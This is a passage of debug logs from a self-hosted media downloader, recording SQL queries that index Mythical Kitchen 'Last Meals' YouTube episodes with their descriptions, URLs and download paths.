provided by Rev", "Julia Garner Eats Her Last Meal", "https://www.youtube.com/watch?v=eQH5AMqpuYU", "eQH5AMqpuYU", 2469, false, "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", false, 1, ~U[2025-08-07 10:01:16Z]] 20:49:32.298 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.298 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 10:01:06Z], 1] 20:49:32.299 [debug] QUERY OK source="media_items" db=0.6ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Andrew Santino eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Andrew's Last Meal\n0:55 Roasting Joseph Gordon-Levitt\n3:13 How Often Do You Think About Death?\n4:00 1st Course\n5:31 The Truth About Deep Dish\n7:36 Andrew's New Special\n10:22 Asshole With A Heart Of Gold\n12:40 2nd Course\n13:57 Friendship With Bobby Lee\n15:31 Experiencing Panic Attacks\n20:13 3rd Course\n23:19 Catholic Guilt\n24:43 Challenging Addiction\n26:19 Fear Of Stagnancy\n27:13 Planning A Legacy\n29:22 4th Course\n30:47 Josh Was A Fat Kid\n32:15 Having Red Hair\n33:58 \"Take It Easy\"\n35:41 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:05 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Andrew Santino Eats His Last Meal", "481fe995-7fe4-4392-92be-14ba0e61d633", "https://www.youtube.com/watch?v=XcN_kk5swOY", false, "XcN_kk5swOY", 2520, false, 39, "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", false, false, 1, [], 1, ~U[2025-10-02 10:01:06Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Andrew Santino eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Andrew's Last Meal\n0:55 Roasting Joseph Gordon-Levitt\n3:13 How Often Do You Think About Death?\n4:00 1st Course\n5:31 The Truth About Deep Dish\n7:36 Andrew's New Special\n10:22 Asshole With A Heart Of Gold\n12:40 2nd Course\n13:57 Friendship With Bobby Lee\n15:31 Experiencing Panic Attacks\n20:13 3rd Course\n23:19 Catholic Guilt\n24:43 Challenging Addiction\n26:19 Fear Of Stagnancy\n27:13 Planning A Legacy\n29:22 4th Course\n30:47 Josh Was A Fat Kid\n32:15 Having Red Hair\n33:58 \"Take It Easy\"\n35:41 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:05 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Andrew Santino Eats His Last Meal", "https://www.youtube.com/watch?v=XcN_kk5swOY", "XcN_kk5swOY", 2520, false, "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", false, 1, ~U[2025-10-02 10:01:06Z]] 20:49:32.299 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.300 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 10:01:05Z], 1] 20:49:32.301 [debug] QUERY OK source="media_items" db=0.6ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Stavros Halkias eats his last meal.\n\nWatch SURVIVE THE MYTHICAL KITCHEN on demand now through April 21st. Visit mythicalkitchenlive.com for details!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Stavros' Last Meal\n1:27 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:37 How Greek Food Shaped Stavros' Life\n6:20 Everyone Is The Same\n7:16 Slacking At The Law Firm\n9:30 2nd Course\n11:12 Ancient Greek Existential Dread\n13:40 Working Out On The Road\n14:30 Chris Farley & The Art Of Physical Comedy\n15:26 Food, Comfort, & Loneliness\n16:50 3rd Course\n18:07 Dream Fat Camp Movie Cast\n19:01 Reliving A Perfect Day\n20:40 Getting Political\n21:35 Comedian Cult Leaders\n24:10 4th Course\n25:09:00 Pressure To Be Rich\n26:05:00 Duty & Legacy\n26:50:00 What Do You Think Happens When You Die?\n27:35:00 Lightning Round\n29:23 Stavros' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stavros Halkias Eats His Last Meal", "cc319db3-2036-4683-97ec-1fca5450068f", "https://www.youtube.com/watch?v=eUtrcz7rlfM", false, "eUtrcz7rlfM", 1806, false, 40, "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", false, false, 1, [], 1, ~U[2025-04-15 10:01:05Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Stavros Halkias eats his last meal.\n\nWatch SURVIVE THE MYTHICAL KITCHEN on demand now through April 21st. Visit mythicalkitchenlive.com for details!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Stavros' Last Meal\n1:27 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:37 How Greek Food Shaped Stavros' Life\n6:20 Everyone Is The Same\n7:16 Slacking At The Law Firm\n9:30 2nd Course\n11:12 Ancient Greek Existential Dread\n13:40 Working Out On The Road\n14:30 Chris Farley & The Art Of Physical Comedy\n15:26 Food, Comfort, & Loneliness\n16:50 3rd Course\n18:07 Dream Fat Camp Movie Cast\n19:01 Reliving A Perfect Day\n20:40 Getting Political\n21:35 Comedian Cult Leaders\n24:10 4th Course\n25:09:00 Pressure To Be Rich\n26:05:00 Duty & Legacy\n26:50:00 What Do You Think Happens When You Die?\n27:35:00 Lightning Round\n29:23 Stavros' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stavros Halkias Eats His Last Meal", "https://www.youtube.com/watch?v=eUtrcz7rlfM", "eUtrcz7rlfM", 1806, false, "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", false, 1, ~U[2025-04-15 10:01:05Z]] 20:49:32.301 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.301 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-22 10:00:32Z], 1] 20:49:32.302 [debug] QUERY OK source="media_items" db=0.7ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Corbin Bleu's last meal. Last Meals Ep.4\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Corbin Bleu Eats His Last Meal", "a0ad764e-3bbc-4fa7-9e2f-01423c48ce6d", "https://www.youtube.com/watch?v=tMqYObbCYIk", false, "tMqYObbCYIk", 1819, false, 41, "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", false, false, 1, [], 1, ~U[2022-03-22 10:00:32Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Corbin Bleu's last meal. Last Meals Ep.4\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Corbin Bleu Eats His Last Meal", "https://www.youtube.com/watch?v=tMqYObbCYIk", "tMqYObbCYIk", 1819, false, "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", false, 1, ~U[2022-03-22 10:00:32Z]] 20:49:32.302 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.302 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-07 11:00:20Z], 1] 20:49:32.303 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Margaret Cho's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Margaret Cho Eats Her Last Meal", "240db453-72fd-40d5-9e06-5f021efbd10f", "https://www.youtube.com/watch?v=_jhZgs7qVQU", false, "_jhZgs7qVQU", 1835, false, 42, "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", false, false, 1, [], 1, ~U[2023-02-07 11:00:20Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Margaret Cho's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, 